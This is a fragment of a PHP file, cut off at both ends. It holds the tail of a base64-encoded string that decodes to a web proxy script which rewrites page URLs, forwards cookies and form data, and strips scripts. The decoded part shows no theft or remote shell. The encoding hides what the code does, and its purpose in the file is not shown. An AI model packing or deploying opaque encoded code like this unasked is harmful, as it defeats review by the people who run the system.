Wx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo=
";
$fi="
